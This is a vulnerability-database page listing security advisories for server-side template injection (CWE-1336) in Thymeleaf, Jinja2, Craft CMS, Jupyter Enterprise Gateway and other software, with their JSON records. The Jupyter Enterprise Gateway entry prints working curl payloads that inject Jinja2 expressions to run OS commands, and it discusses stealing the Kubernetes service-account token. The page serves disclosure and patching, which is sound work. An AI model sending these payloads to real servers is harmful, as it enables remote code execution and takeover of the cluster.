CWE-1336
AllowedImproper Neutralization of Special Elements Used in a Template Engine
Abstraction: Base · Status: Incomplete
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
398 vulnerabilities reference this CWE, most recent first.
GHSA-C9PH-GXWW-7744
Vulnerability from github – Published: 2026-05-04 21:15 – Updated: 2026-05-13 16:43Impact
A security bypass vulnerability exists in the expression execution mechanisms of Thymeleaf up to and including 3.1.4.RELEASE. Although the library provides mechanisms to avoid the execution of potentially dangerous expressions in some specific sandboxed (restricted) contexts, it fails to properly neutralize specific constructs that allow this kind of expressions to be executed. If an application developer passes to the template engine unsanitized variables that contain such expressions, and these values are used in sandboxed contexts inside the templates, these expressions can be executed achieving Server-Side Template Injection (SSTI).
Patches
This has been fixed in Thymeleaf 3.1.5.RELEASE. All users are advised to upgrade immediately.
Workarounds
No workaround is available beyond ensuring applications do not pass unvalidated/unsanitized data directly to the template engine. Upgrading to 3.1.5.RELEASE is strongly recommended in any case.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.4.RELEASE"
},
"package": {
"ecosystem": "Maven",
"name": "org.thymeleaf:thymeleaf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.5.RELEASE"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.4.RELEASE"
},
"package": {
"ecosystem": "Maven",
"name": "org.thymeleaf:thymeleaf-spring5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.5.RELEASE"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.4.RELEASE"
},
"package": {
"ecosystem": "Maven",
"name": "org.thymeleaf:thymeleaf-spring6"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.5.RELEASE"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41901"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-917"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T21:15:20Z",
"nvd_published_at": "2026-05-12T23:16:17Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nA security bypass vulnerability exists in the expression execution mechanisms of Thymeleaf up to and including 3.1.4.RELEASE. Although the library provides mechanisms to avoid the execution of potentially dangerous expressions in some specific sandboxed (restricted) contexts, it fails to properly neutralize specific constructs that allow this kind of expressions to be executed. If an application developer passes to the template engine unsanitized variables that contain such expressions, and these values are used in sandboxed contexts inside the templates, these expressions can be executed achieving Server-Side Template Injection (SSTI).\n\n### Patches\n\nThis has been fixed in Thymeleaf 3.1.5.RELEASE. All users are advised to upgrade immediately.\n\n### Workarounds\n\nNo workaround is available beyond ensuring applications do not pass unvalidated/unsanitized data directly to the template engine. Upgrading to 3.1.5.RELEASE is strongly recommended in any case.",
"id": "GHSA-c9ph-gxww-7744",
"modified": "2026-05-13T16:43:36Z",
"published": "2026-05-04T21:15:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thymeleaf/thymeleaf/security/advisories/GHSA-c9ph-gxww-7744"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41901"
},
{
"type": "PACKAGE",
"url": "https://github.com/thymeleaf/thymeleaf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Sandboxed Thymeleaf expressions vulnerable to improper recognition of unauthorized syntax patterns"
}
GHSA-CJJC-MF84-XP9F
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32AutoGPT versions 0.3.4 and earlier are vulnerable to a Server-Side Template Injection (SSTI) that could lead to Remote Code Execution (RCE). The vulnerability arises from the improper handling of user-supplied format strings in the AgentOutputBlock implementation, where malicious input is passed to the Jinja2 templating engine without adequate security measures. Attackers can exploit this flaw to execute arbitrary commands on the host system. The issue is fixed in version 0.4.0.
{
"affected": [],
"aliases": [
"CVE-2025-1040"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T10:15:53Z",
"severity": "HIGH"
},
"details": "AutoGPT versions 0.3.4 and earlier are vulnerable to a Server-Side Template Injection (SSTI) that could lead to Remote Code Execution (RCE). The vulnerability arises from the improper handling of user-supplied format strings in the `AgentOutputBlock` implementation, where malicious input is passed to the Jinja2 templating engine without adequate security measures. Attackers can exploit this flaw to execute arbitrary commands on the host system. The issue is fixed in version 0.4.0.",
"id": "GHSA-cjjc-mf84-xp9f",
"modified": "2025-03-20T12:32:52Z",
"published": "2025-03-20T12:32:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1040"
},
{
"type": "WEB",
"url": "https://github.com/significant-gravitas/autogpt/commit/6dba31e0215549604bdcc1aed24e3a1714e75ee2"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/b74ef75f-61d5-4422-ab15-9550c8b4f185"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CPWX-VRP4-4PQ7
Vulnerability from github – Published: 2025-03-05 20:40 – Updated: 2025-11-03 22:54An oversight in how the Jinja sandboxed environment interacts with the |attr filter allows an attacker that controls the content of a template to execute arbitrary Python code.
To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.
Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to use the |attr filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the |attr filter no longer bypasses the environment's attribute lookup.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.5"
},
"package": {
"ecosystem": "PyPI",
"name": "Jinja2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-27516"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-05T20:40:14Z",
"nvd_published_at": "2025-03-05T21:15:20Z",
"severity": "MODERATE"
},
"details": "An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja\u0027s sandbox does catch calls to `str.format` and ensures they don\u0027t escape the sandbox. However, it\u0027s possible to use the `|attr` filter to get a reference to a string\u0027s plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment\u0027s attribute lookup.",
"id": "GHSA-cpwx-vrp4-4pq7",
"modified": "2025-11-03T22:54:41Z",
"published": "2025-03-05T20:40:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27516"
},
{
"type": "WEB",
"url": "https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"
},
{
"type": "PACKAGE",
"url": "https://github.com/pallets/jinja"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Jinja2 vulnerable to sandbox breakout through attr filter selecting format method"
}
GHSA-CRCQ-738G-PQVC
Vulnerability from github – Published: 2025-08-25 20:42 – Updated: 2025-11-27 07:57Note that users must have administrator access to the Craft Control Panel, and allowAdminChanges must be enabled for this to work, which is against Craft CMS' recommendations for any non-dev environment.
https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production
Note: This is a follow-up to GHSA-f3cw-hg6r-chfv
Users should update to the patched versions (4.16.6 and 5.8.7) to mitigate the issue.
Resources: https://github.com/craftcms/cms/pull/17612
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.16.5"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.16.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.6"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.8.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-57811"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-22",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-25T20:42:45Z",
"nvd_published_at": "2025-08-25T18:15:31Z",
"severity": "MODERATE"
},
"details": "Note that users must have administrator access to the Craft Control Panel, and [allowAdminChanges](https://craftcms.com/docs/5.x/reference/config/general.html#allowadminchanges) must be enabled for this to work, which is against Craft CMS\u0027 recommendations for any non-dev environment.\n\nhttps://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production\n\nNote: This is a follow-up to [GHSA-f3cw-hg6r-chfv](https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv)\n\nUsers should update to the patched versions (4.16.6 and 5.8.7) to mitigate the issue.\n\nResources: https://github.com/craftcms/cms/pull/17612",
"id": "GHSA-crcq-738g-pqvc",
"modified": "2025-11-27T07:57:45Z",
"published": "2025-08-25T20:42:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-crcq-738g-pqvc"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57811"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/pull/17612"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/e77f8a287dcdda41f1724f525d03542f18566cbc"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS Potential Remote Code Execution via Twig SSTI"
}
GHSA-CW5C-XM7F-WX63
Vulnerability from github – Published: 2024-05-31 12:30 – Updated: 2025-10-22 00:33Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request. As of the CVE assignment date, Rejetto HFS 2.3m is no longer supported.
{
"affected": [],
"aliases": [
"CVE-2024-23692"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-31T10:15:09Z",
"severity": "CRITICAL"
},
"details": "Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request. As of the CVE assignment date, Rejetto HFS 2.3m is no longer supported.",
"id": "GHSA-cw5c-xm7f-wx63",
"modified": "2025-10-22T00:33:03Z",
"published": "2024-05-31T12:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23692"
},
{
"type": "WEB",
"url": "https://github.com/rapid7/metasploit-framework/pull/19240"
},
{
"type": "WEB",
"url": "https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce"
},
{
"type": "WEB",
"url": "https://vulncheck.com/advisories/rejetto-unauth-rce"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-23692"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2024-23692-detect-rejetto-hfs-vulnerability"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2024-23692-rejetto-hfs-mitigate-vulnerability"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/unauthenticated-rce-flaw-in-rejetto-http-file-server-cve-2024-23692"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CWGV-JWGM-R5F5
Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32Allegra getLinkText Server-Side Template Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Allegra. Authentication is required to exploit this vulnerability.
The specific flaw exists within the implementation of getLinkText method. The issue results from the lack of proper validation of a user-supplied string before processing it with the template engine. An attacker can leverage this vulnerability to execute code in the context of LOCAL SERVICE. Was ZDI-CAN-23609.
{
"affected": [],
"aliases": [
"CVE-2024-30372"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-22T20:15:08Z",
"severity": "HIGH"
},
"details": "Allegra getLinkText Server-Side Template Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Allegra. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of getLinkText method. The issue results from the lack of proper validation of a user-supplied string before processing it with the template engine. An attacker can leverage this vulnerability to execute code in the context of LOCAL SERVICE. Was ZDI-CAN-23609.",
"id": "GHSA-cwgv-jwgm-r5f5",
"modified": "2024-11-22T21:32:16Z",
"published": "2024-11-22T21:32:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30372"
},
{
"type": "WEB",
"url": "https://alltena.com/en/resources/release-notes/relnotes-7-5-2"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1165"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CXFR-5Q3R-2RC2
Vulnerability from github – Published: 2023-12-12 06:30 – Updated: 2024-11-22 18:14Improper Neutralization of Special Elements Used in a Template Engine in GitHub repository mlflow/mlflow prior to 2.9.2.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mlflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-6709"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-13T13:33:30Z",
"nvd_published_at": "2023-12-12T04:15:07Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Special Elements Used in a Template Engine in GitHub repository mlflow/mlflow prior to 2.9.2.",
"id": "GHSA-cxfr-5q3r-2rc2",
"modified": "2024-11-22T18:14:30Z",
"published": "2023-12-12T06:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6709"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/commit/432b8ccf27fd3a76df4ba79bb1bec62118a85625"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlflow/mlflow"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-281.yaml"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/9e4cc07b-6fff-421b-89bd-9445ef61d34d"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Jinja2 template injection in mlflow"
}
GHSA-F49J-V924-FX9W
Vulnerability from github – Published: 2026-06-03 21:36 – Updated: 2026-06-03 21:36Summary
The environment variables (KERNEL_XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI).
By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service.
The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.
Details
The KERNEL_POD_NAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code:
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247
The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, in addition to kernel_pod_name discussed above, such as kernel_working_dir that are used when rendering the manifest and are all vectors for SSTI.
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77
These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137
PoC
Simple demonstration of SSTI using {{7 * 7}}
curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}'
{"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0}
Running kubectl get pods
NAME READY STATUS RESTARTS AGE
bdawg-49 1/1 Running 0 3m54s
Remote code execution - OS Commands via SSTI
curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}'
{"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07
NAME READY STATUS RESTARTS AGE
bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s
enterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.
Enterprise Gateway RBAC
The Enterprise Gateway service account has R/W access to several resource kinds.
Stolen Enterprise Gateway service account kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
rolebindings.rbac.authorization.k8s.io [] [] [get list create delete]
configmaps [] [] [get watch list create delete]
namespaces [] [] [get watch list create delete]
persistentvolumeclaims [] [] [get watch list create delete]
persistentvolumes [] [] [get watch list create delete]
pods [] [] [get watch list create delete]
secrets [] [] [get watch list create delete]
services [] [] [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]
sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]
sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
Impact
This is a server side template injection that leads to remote code execution (python and OS commands).
An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token.
It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "jupyter_enterprise_gateway"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0rc2"
},
{
"fixed": "3.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44181"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-03T21:36:05Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe environment variables (`KERNEL_XXX`) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI).\nBy including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service.\nThe code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a `hostPath` volume mount.\n\n### Details\n\nThe `KERNEL_POD_NAME` variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code:\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247\n\nThe Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, in addition to `kernel_pod_name` discussed above, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for SSTI.\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77\n\nThese values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase.\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137\n\n### PoC\n\n\n#### Simple demonstration of SSTI using `{{7 * 7}}`\n\n```bash\ncurl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data \u0027{\"name\":\"python_kubernetes\", \"env\": {\"KERNEL_POD_NAME\": \"bdawg-{{7 * 7}}\" }}\u0027\n```\n\n```json\n{\"id\": \"1094076f-35c6-48a5-ae60-0c943bb97a9a\", \"name\": \"python_kubernetes\", \"last_activity\": \"2025-07-17T07:14:42.155736Z\", \"execution_state\": \"starting\", \"connections\": 0}\n```\n\nRunning `kubectl get pods`\n```\nNAME READY STATUS RESTARTS AGE\nbdawg-49 1/1 Running 0 3m54s\n```\n\n#### Remote code execution - OS Commands via SSTI\n\n```bash\ncurl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data \u0027{\"name\":\"python_kubernetes\", \"env\": {\"KERNEL_POD_NAME\": \"bdawg-{{ cycler.__init__.__globals__.os.popen(\\\"hostname\\\").read() }}\", \"KERNEL_NAMESPACE\": \"notebooks\" }}\u0027\n```\n\n```json\n{\"id\": \"85ec9431-d005-48d5-8127-5f022f2c5780\", \"name\": \"python_kubernetes\", \"last_activity\": \"2025-07-17T07\n```\n\n```\nNAME READY STATUS RESTARTS AGE\nbdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s\n```\n\n`enterprise-gateway-8695685bc8-klm4m` is the hostname of the Enterprise Gateway pod.\n\n\n#### Enterprise Gateway RBAC\nThe Enterprise Gateway service account has R/W access to several resource kinds.\n\nStolen Enterprise Gateway service account `kubectl auth can-i --list`\n\n```\nResources Non-Resource URLs Resource Names Verbs\nselfsubjectreviews.authentication.k8s.io [] [] [create]\nselfsubjectaccessreviews.authorization.k8s.io [] [] [create]\nselfsubjectrulesreviews.authorization.k8s.io [] [] [create]\nrolebindings.rbac.authorization.k8s.io [] [] [get list create delete]\nconfigmaps [] [] [get watch list create delete]\nnamespaces [] [] [get watch list create delete]\npersistentvolumeclaims [] [] [get watch list create delete]\npersistentvolumes [] [] [get watch list create delete]\npods [] [] [get watch list create delete]\nsecrets [] [] [get watch list create delete]\nservices [] [] [get watch list create delete]\nscheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]\nscheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]\nsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]\nsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]\n [/.well-known/openid-configuration/] [] [get]\n [/.well-known/openid-configuration] [] [get]\n [/api/*] [] [get]\n [/api] [] [get]\n [/apis/*] [] [get]\n [/apis] [] [get]\n [/healthz] [] [get]\n [/healthz] [] [get]\n [/livez] [] [get]\n [/livez] [] [get]\n [/openapi/*] [] [get]\n [/openapi] [] [get]\n [/openid/v1/jwks/] [] [get]\n [/openid/v1/jwks] [] [get]\n [/readyz] [] [get]\n [/readyz] [] [get]\n [/version/] [] [get]\n [/version/] [] [get]\n [/version] [] [get]\n [/version] [] [get]\n```\n\n### Impact\nThis is a server side template injection that leads to remote code execution (python and OS commands).\n\nAn attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account\u0027s token.\nIt can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with `hostPath` mounts, which can be used to compromise the complete cluster and all workloads on it.",
"id": "GHSA-f49j-v924-fx9w",
"modified": "2026-06-03T21:36:05Z",
"published": "2026-06-03T21:36:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-f49j-v924-fx9w"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyter-server/enterprise_gateway"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Jupyter Enterprise Gateway: Jinja2 Template Server Side Template Injection resulting in Remote Code Execution"
}
GHSA-FFRW-8P66-394J
Vulnerability from github – Published: 2024-11-18 09:31 – Updated: 2025-02-11 18:31Improper Control of Generation of Code ('Code Injection'), Cross-Site Request Forgery (CSRF), : Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.
This issue affects Apache OFBiz: before 18.12.17.
Users are recommended to upgrade to version 18.12.17, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2024-48962"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T09:15:06Z",
"severity": "HIGH"
},
"details": "Improper Control of Generation of Code (\u0027Code Injection\u0027), Cross-Site Request Forgery (CSRF), : Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: before 18.12.17.\n\nUsers are recommended to upgrade to version 18.12.17, which fixes the issue.",
"id": "GHSA-ffrw-8p66-394j",
"modified": "2025-02-11T18:31:20Z",
"published": "2024-11-18T09:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48962"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/OFBIZ-13162"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/6sddh4pts90cp8ktshqb4xykdp6lb6q6"
},
{
"type": "WEB",
"url": "https://ofbiz.apache.org/download.html"
},
{
"type": "WEB",
"url": "https://ofbiz.apache.org/security.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/11/16/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:C/RE:H/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-FJHG-96CP-6FCW
Vulnerability from github – Published: 2023-10-30 15:40 – Updated: 2023-10-30 15:40Description
The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.
Snippet of Vulnerable Code:
public function render(array $timesheets, TimesheetQuery $query): Response
{
...
$content = $this->twig->render($this->getTemplate(), array_merge([
'entries' => $timesheets,
'query' => $query,
...
], $this->getOptions($query)));
...
$content = $this->converter->convertToPdf($content, $pdfOptions);
...
return $this->createPdfResponse($content, $context);
}
The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.
In below, you can find the docker-compose file was used for this testing:
version: '3.5'
services:
sqldb:
image: mysql:5.7
environment:
